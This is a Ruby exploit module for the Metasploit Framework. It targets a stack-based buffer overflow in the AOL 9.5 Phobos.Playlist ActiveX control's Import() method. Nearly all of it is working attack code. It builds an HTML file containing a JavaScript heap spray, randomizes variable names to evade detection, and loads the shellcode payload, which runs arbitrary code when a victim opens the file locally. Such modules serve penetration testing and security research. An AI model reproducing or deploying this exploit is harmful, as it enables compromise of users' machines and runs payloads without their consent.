139 lines
4.2 KiB
Ruby
139 lines
4.2 KiB
Ruby
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##
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# $Id$
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##
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##
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# aol_phobos_bof.rb
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#
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# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms:
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# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
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#
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# Phobos.dll version tested:
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# File Version: 9.5.0.1
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# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
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# RegKey Safe for Script: False
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# RegKey Safe for Init: False
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# Implements IObjectSafety: False
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# KillBitSet: False
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#
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# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
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# exploitation is possible only from Local Machine Zone, which means the victim must run the
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# generated exploit file locally.
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#
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# Trancer
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# http://www.rec-sec.com
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
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By setting an overly long value to 'Import()', an attacker can overrun a buffer
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and execute arbitrary code.
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NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Trancer <mtrancer[at]gmail.com>'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.exploit-db.com/exploits/11204' ],
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[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
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],
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'DisclosureDate' => 'Jan 20 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
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], self.class)
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end
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def exploit
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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blocksize = 0x40000
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fillto = 500
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offset = target['Offset']
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# Randomize the javascript variable names
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phobos = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_bla = rand_text_alpha(rand(8) + 4)
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html = %Q|<html>
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<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
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<script>
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{j_ret}='';
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for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
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#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
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</script>
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</html>|
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(html)
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end
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end
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